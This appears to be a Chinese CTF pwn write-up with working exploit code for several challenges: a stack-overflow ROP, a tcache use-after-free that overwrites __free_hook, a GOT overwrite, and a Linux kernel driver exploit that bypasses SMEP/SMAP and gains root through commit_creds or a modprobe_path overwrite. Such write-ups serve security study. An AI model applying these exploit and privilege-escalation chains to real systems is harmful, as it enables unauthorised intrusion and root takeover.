flowershop:简单栈溢出

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#@Author:X1NRI
import sys
import os
from pwn import*
from ctypes import *
#from LibcSearcher import LibcSearcher

def dbg(command): #dbg(None)
	if(len(sys.argv)!= 3):
		gdb.attach(io,gdbscript=command)
		#pause()
#------------------------------------------------------------------

def menu(choice):
	sla('请输入你的选项:',choice)

def shop(buy):
	menu('a')
	sla('请输入购买的商品序号:',buy)
	sa('你想要继续买花吗? 1/0','0')

def pwn():

	payload=b'a'*(0x40-0xc)+b'pwn'
	payload=payload.ljust(0x38,b'\x00')
	payload+=p32(9999)
	sa("请输入你的姓名:",payload)
	shop('a')
	shop('a')
	shop('b')
	dbg('b *0x0000000000400CE4')
	menu('a')
	sla('请输入购买的商品序号:','c')
	
	rdi=0x0000000000400f13
	ret=0x00000000004006f6
	system=ep('system')
	binsh=0x0000000000601840
	payload=b'a'*0x18+flat([ret,rdi,binsh,system])
	sa('你想要继续买花吗? 1/0',payload)	

	#dbg('')
	itr()
	
if __name__ == '__main__':
	context(os='linux',arch='amd64',bits=64,endian='little')
	context.terminal=["tmux","splitw","-h","-l 100"]
	binary='./pwn'
	context.log_level='debug'
	elf=ELF(binary)
	libc=elf.libc
	if(len(sys.argv) == 3):
		io = remote(sys.argv[1],sys.argv[2])
	else:
		io = process(binary)
	s	  = lambda payload		:io.send(payload)
	sl   = lambda payload		:io.sendline(payload)
	sa   = lambda data,payload	:io.sendafter(data,payload)
	sla  = lambda data,payload	:io.sendlineafter(data,payload)
	r    = lambda num   		   :io.recv(numb=num)
	ru   = lambda data,DROP		:io.recvuntil(data,drop=DROP)
	rl	  = lambda 				   :io.recvline(keepends=True)
	uu32 = lambda 				   :u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b"\x00") ) 
	uu64 = lambda 				   :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00") )
	ep   = lambda data 			:elf.plt[data]
	eg   = lambda data 			:elf.got[data]
	es   = lambda data       	:elf.sym[data]
	ls   = lambda data 			:libc.sym[data]		
	itr  = lambda 				   :io.interactive()
	ic   = lambda 				   :io.close()
	pt   = lambda s				:log.info('\033[1;31;40m %s --- %s \033[0m' % (s,type(eval(s))))
	lg   = lambda name,addr 	:log.success('\033[1;31;40m{} ==> {:#x}\033[0m'.format(name, addr))

	pwn()

Kylin_Heap:libc2.31 无限制UAF

直接tcache 打 __free_hook

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#@Author:X1NRI
import sys
import os
from pwn import*
from ctypes import *
#from LibcSearcher import LibcSearcher

def dbg(command): #dbg(None)
	if(len(sys.argv)!= 3):
		gdb.attach(io,gdbscript=command)
		#pause()
#------------------------------------------------------------------
def menu(choice):
	sla('What will you do, adventurer?',str(choice))

def add(size,content):
	menu(1)
	sla('bytes): ',str(size))
	sa('bytes):',content)

def delete(idx):
	menu(2)
	sla('): ',str(idx))

def edit(idx,content):
	menu(3)
	sla('): ',str(idx))
	sa('bytes):',content)
	
def show(idx):
	menu(4)
	sla('): ',str(idx))	
	
def pwn():
	add(0x410,b'aaa')
	add(0x100,b'aaa')
	add(0x100,b'aaa')
	delete(0)
	show(0)
	
	ru('\n',True)
	libc.address=u64(r(6).ljust(8,b'\x00'))-0x1ebbe0
	lg('libc',libc.address)
	__free_hook=ls('__free_hook')
	system=ls('system')
	
	delete(1)
	delete(2)
	edit(2,p64(__free_hook))
	add(0x100,b'/bin/sh')#3
	add(0x100,p64(system))#4
	delete(3)
	
	
	dbg('')
	itr()
	
if __name__ == '__main__':
	context(os='linux',arch='amd64',bits=64,endian='little')
	context.terminal=["tmux","splitw","-h","-l 100"]
	binary='./pwn'
	context.log_level='debug'
	elf=ELF(binary)
	libc=elf.libc
	if(len(sys.argv) == 3):
		io = remote(sys.argv[1],sys.argv[2])
	else:
		io = process(binary)
	s	  = lambda payload		:io.send(payload)
	sl   = lambda payload		:io.sendline(payload)
	sa   = lambda data,payload	:io.sendafter(data,payload)
	sla  = lambda data,payload	:io.sendlineafter(data,payload)
	r    = lambda num   		   :io.recv(numb=num)
	ru   = lambda data,DROP		:io.recvuntil(data,drop=DROP)
	rl	  = lambda 				   :io.recvline(keepends=True)
	uu32 = lambda 				   :u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b"\x00") ) 
	uu64 = lambda 				   :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00") )
	ep   = lambda data 			:elf.plt[data]
	eg   = lambda data 			:elf.got[data]
	es   = lambda data       	:elf.sym[data]
	ls   = lambda data 			:libc.sym[data]		
	itr  = lambda 				   :io.interactive()
	ic   = lambda 				   :io.close()
	pt   = lambda s				:log.info('\033[1;31;40m %s --- %s \033[0m' % (s,type(eval(s))))
	lg   = lambda name,addr 	:log.success('\033[1;31;40m{} ==> {:#x}\033[0m'.format(name, addr))

	pwn()

consumption:json序列化+指针覆盖打GOT

[*] '/home/xinri/ccb/consumption/pwn'
    Arch:       i386-32-little
    RELRO:      No RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8047000)
    RUNPATH:    b'/home/xinri/glibc-all-in-one/libs/2.31-0ubuntu9.16_i386/'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

漏洞点在于输入json序列化数据到 v12 时可以覆盖到 v13 存储的指针

这里的*a3就是 v13 存储的指针,可以覆盖为 heaparray 打GOT

有个坑点是 error() 函数除了输出“out!”并没有什么用处,但我先入为主以为会exit,白耗了很长时间,nm

from pwn import *  
import json  
  
context.log_level = 'debug'  
  
elf = ELF("./pwn")  
p = elf.process()   
#libc = ELF("/home/kamome/tools/glibc-all-in-one/libs/2.31-0ubuntu9.16_i386/libc.so.6")  
libc = ELF("./libc.so.6")  
def debug():  
    pause()  
    gdb.attach(p)  
    sleep(2)  
  
def add_heap(size,content):  
    p.sendlineafter(b"5.exit\t\n",b'{"choice":"1","idx":0,"size":"' + bytes(str(size),encoding="utf-8") + b'","content":"' + content + b'"}')  
  
def free_heap(idx):  
    p.sendlineafter(b"5.exit\t\n",'{"choice":"2","idx":' + str(idx) + ',"size":"","content":""}')  
  
  
def show_heap(idx):  
    p.sendlineafter(b"5.exit\t\n",'{"choice":"3","idx":' + str(idx) + ',"size":"","content":""}')  
  
def edit_heap(idx,content):  
    p.sendlineafter(b"5.exit\t\n",b'{"choice":"4","idx":1,"size":"","content":"' + content + b'"}')  
  
#debug()  
#pause()  
  
heaplist = 0x08051B10  
add_heap(8,b"/bin/sh")  
  
#free_got = elf.got["free"]  
printf_got = elf.got["printf"]  
  
payload_1 = b"A" * 0x4cc + p32(heaplist + 4)  
add_heap(printf_got,payload_1)  
#add_heap(0x8,"AAAA")  
  
show_heap(1)  
libc.address = u32(p.recvuntil(b"\xf7")[-4:]) - libc.sym["printf"]  
log.success("libc.address = " + hex(libc.address))  
  
system = libc.sym["system"]  
  
edit_heap(1,b"A" * 4 + p32(system))  
  
free_heap(0)  
#debug()  
p.interactive()

Kylin_Driver:kROP

#!/bin/sh

qemu-system-x86_64 \
    -m 256M \
    -kernel bzImage \
    -initrd rootfs.cpio \
    -monitor /dev/null \
    -append "root=/dev/ram console=ttyS0 loglevel=8 ttyS0,115200 kaslr" \
    -cpu kvm64,+smep,+smap \
    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
    -nographic \
    -no-reboot \
    -no-shutdown 

打开了 SMEP、SMAP、KASLR,经测试开了KPTI

载入了一个LKM,位置在 /lib/modules/5.10.0-9-generic/kernel/test.ko

注册了杂项设备结合注册结构体可知设备名称为test,该类设备的应用层接口位于/dev目录,并且为该设备注册了处理函数VrQsLpXwNfJrZtBpKjMvWsQpTyLnHrXs

首先校验我们传入的buf,要求逐位与0xF9异或之后等于gtwYHamW4U2yQ9LQzfFJSncfHgFf5Pjc

  • 0xDEADBEEF操作码:将驱动模块基址放进kbuf,再将整个kbuf与0xF9异或后放入到 buf + 0x20 处(password后面)
  • 0xFEEDFACE操作码:将 buf+0x20 再拿出来与0xF9异或后放入kbuf,rsp指向kbuf进行retn

设置 nokaslr 后内核直接卡死了,目前原因不明,只能硬调kaslr了

先走常规rop链,我一开始不明白给我们一个LKM基址有什么用,哦原来是LKM里有对cr4操作的gadget,不关SMAP的话commit_cred会crash

#define _GNU_SOURCE 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sched.h>

#define CMD_READ 0xDEADBEEF
#define CMD_WRITE 0xFEEDFACE

#define POP_RDI_RET 0xffffffff81090c80+koff
#define MOV_RAX_RDI_RET 0xffffffff8308721f+koff
#define MOV_RDI_RAX_RET 0x0000000000000009+lkm
#define RET 0x000000000000000c+lkm
#define MOV_CR4_RDI_RET 0x000000000000000d+lkm
/*
user_cs;
user_rflags;
user_sp;
user_ss;
*/
size_t user_cs,user_ss,user_rsp,user_rflags;
static void saveStatus(){
	asm volatile(
		"mov %0,cs;"
		"mov %1,ss;"
		"mov %2,rsp;"
		"pushf;"		
		"pop %3;"	    
		: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags) 
		:			
	);
	puts("[*] Success to saveStatus!");
}

static void errExit(char * msg){
    printf("\033[1;31m[x] Error: %s\033[0m\n", msg);
    exit(EXIT_FAILURE);
}

static void getRootShell(void){
	if (!getuid()){
		puts("\033[1;31;37m[*] <Successfully Get Root Privileges>\033[0m");
		system("/bin/sh");
	}
	else{
		puts("\033[1;31m[-] <Get Root Error>\033[0m");
	}
}

size_t commit_creds=0xffffffff810cf720;
size_t prepare_kernel_cred=0xffffffff810cfbe0;
size_t swapgs_restore_regs_and_return_to_usermode=0xffffffff81c00ff0;
size_t init_cred=0xffffffff82864660;


int main(int argc, char *argv[], char *envp[]){
	saveStatus();
	int fd = open("/dev/test",O_RDWR);
	if (fd>0) puts("[+] Dev Opened");

	char password[0x20]="gtwYHamW4U2yQ9LQzfFJSncfHgFf5Pjc";	
	password[0x20]='\0';
	for(int i=0; i<0x20; i++){
		password[i] ^= 0xf9;
	}
	char *buf = malloc(0x500);

	strncpy(buf, password, sizeof(password));
	ioctl(fd, CMD_READ, buf);

	char *content = buf+0x20;
	while(*content){
		*content++ ^= 0xf9;
	}
	content = buf+0x20;
	
	
	for (int j=0; j<0x20; j++){
		printf("buf[%d]: %lx\n",j,*(size_t *)content);
		content+=8;
	}

	size_t leak1 = *(size_t *)(buf+0x20+22*8);//kbase
	size_t leak2 = *(size_t *)(buf+0x20);//lkm

	size_t koff = leak1-0x713ec1-0xffffffff81000000;
	size_t lkm = leak2;
	printf("[+] koff = 0x%lx\n", koff);
	printf("[+] lkm = 0x%lx\n", lkm);


	commit_creds+=koff;
	prepare_kernel_cred+=koff;
	swapgs_restore_regs_and_return_to_usermode+=koff;
	init_cred+=koff;
	printf("[+] commit_creds = 0x%lx\n", commit_creds);
	printf("[+] init_cred = 0x%lx\n", init_cred);
	printf("[+] swapgs_restore_regs_and_return_to_usermode = 0x%lx\n", swapgs_restore_regs_and_return_to_usermode);
	

	size_t ropchain[0x10];
	int i=0;

	ropchain[i++]=POP_RDI_RET;
	ropchain[i++]=0x6f0;
	ropchain[i++]=MOV_CR4_RDI_RET;
	ropchain[i++]=POP_RDI_RET;
	ropchain[i++]=init_cred;
	ropchain[i++]=commit_creds;
	ropchain[i++]=swapgs_restore_regs_and_return_to_usermode+0x36;
	ropchain[i++]=0;
	ropchain[i++]=0;
	ropchain[i++]=(size_t)getRootShell;
	ropchain[i++]=user_cs;
	ropchain[i++]=user_rflags;
	ropchain[i++]=user_rsp;
	ropchain[i++]=user_ss;

		
	for (int j=0; j<sizeof(ropchain); j++){
		*((char*)ropchain+j) ^= 0xf9;
	}
	strcpy(buf+0x20,(char *)ropchain);
	ioctl(fd, CMD_WRITE, buf);
	return 0;

}

团长的做法是修改 modprobe_path 指向提权脚本,更直接

#define _GNU_SOURCE 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sched.h>

#define CMD_READ 0xDEADBEEF
#define CMD_WRITE 0xFEEDFACE

#define POP_RDI_RET 0xffffffff81090c80+koff
#define POP_RSI_RET 0xffffffff811cc553+koff
/*
user_cs;
user_rflags;
user_sp;
user_ss;
*/
size_t user_cs,user_ss,user_rsp,user_rflags;
static void saveStatus(){
	asm volatile(
		"mov %0,cs;"
		"mov %1,ss;"
		"mov %2,rsp;"
		"pushf;"		
		"pop %3;"	    
		: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags) 
		:			
	);
	puts("[*] Success to saveStatus!");
}

static void errExit(char * msg){
    printf("\033[1;31m[x] Error: %s\033[0m\n", msg);
    exit(EXIT_FAILURE);
}

static void getRootShell(void){
	if (!getuid()){
		puts("\033[1;31;37m[*] <Successfully Get Root Privileges>\033[0m");
		system("/bin/sh");
	}
	else{
		puts("\033[1;31m[-] <Get Root Error>\033[0m");
	}
}

static void modprobe_getflag(){
	system("echo -e '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/xx");  
	system("chmod +x /tmp/xx");
    system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake");
    system("chmod +x /tmp/fake");
    system("/tmp/fake");
	system("echo [*] modprobe: `cat /proc/sys/kernel/modprobe`");
}

size_t modprobe_path=0xffffffff82864fc0;
size_t swapgs_restore_regs_and_return_to_usermode=0xffffffff81c00ff0;

int main(int argc, char *argv[], char *envp[]){
	saveStatus();
	int fd = open("/dev/test",O_RDWR);
	if (fd>0) puts("[+] Dev Opened");

	char password[0x20]="gtwYHamW4U2yQ9LQzfFJSncfHgFf5Pjc";	
	password[0x20]='\0';
	for(int i=0; i<0x20; i++){
		password[i] ^= 0xf9;
	}
	char *buf = malloc(0x500);

	strncpy(buf, password, sizeof(password));
	ioctl(fd, CMD_READ, buf);

	char *content = buf+0x20;
	while(*content){
		*content++ ^= 0xf9;
	}
	content = buf+0x20;
	
	
	for (int j=0; j<0x20; j++){
		printf("buf[%d]: %lx\n",j,*(size_t *)content);
		content+=8;
	}

	size_t leak1 = *(size_t *)(buf+0x20+22*8);//kbase
	size_t leak2 = *(size_t *)(buf+0x20);//lkm

	size_t koff = leak1-0x713ec1-0xffffffff81000000;
	size_t lkm = leak2;
	printf("[+] koff = 0x%lx\n", koff);
	printf("[+] lkm = 0x%lx\n", lkm);

	modprobe_path+=koff;
	swapgs_restore_regs_and_return_to_usermode+=koff;
	printf("[+] modprobe_path = 0x%lx\n", modprobe_path);	

	size_t ropchain[0x10];
	int i=0;
	char target[]="/tmp/xx";

	//0xffffffff8107c550 : mov qword ptr [rdi], rsi ; jmp 0xffffffff81e02640
	ropchain[i++]=POP_RDI_RET;
	ropchain[i++]=modprobe_path;
	ropchain[i++]=POP_RSI_RET;
	ropchain[i++]=*(size_t*)target;	
	ropchain[i++]=0xffffffff8107c550+koff;
	ropchain[i++]=swapgs_restore_regs_and_return_to_usermode+0x36;
	ropchain[i++]=0;
	ropchain[i++]=0;
	ropchain[i++]=(size_t)modprobe_getflag;
	ropchain[i++]=user_cs;
	ropchain[i++]=user_rflags;
	ropchain[i++]=user_rsp;
	ropchain[i++]=user_ss;

	for (int j=0; j<sizeof(ropchain); j++){
		*((char*)ropchain+j) ^= 0xf9;
	}
	strcpy(buf+0x20,(char *)ropchain);
	ioctl(fd, CMD_WRITE, buf);
	
	return 0;

}

动调脚本

#!/bin/bash
gdb -q \
	-ex "" \
	-ex "file ./vmlinux" \
	-ex "set \$kobase = 0xffffffffc0068000" \
	-ex "add-symbol-file ./rootfs/lib/modules/5.10.0-9-generic/kernel/test.ko \$kobase "\
	-ex "target remote localhost:1234" \
	-ex "b *(\$kobase+0x0000000000000282)"

Emoji:暂存

⬆︎TOP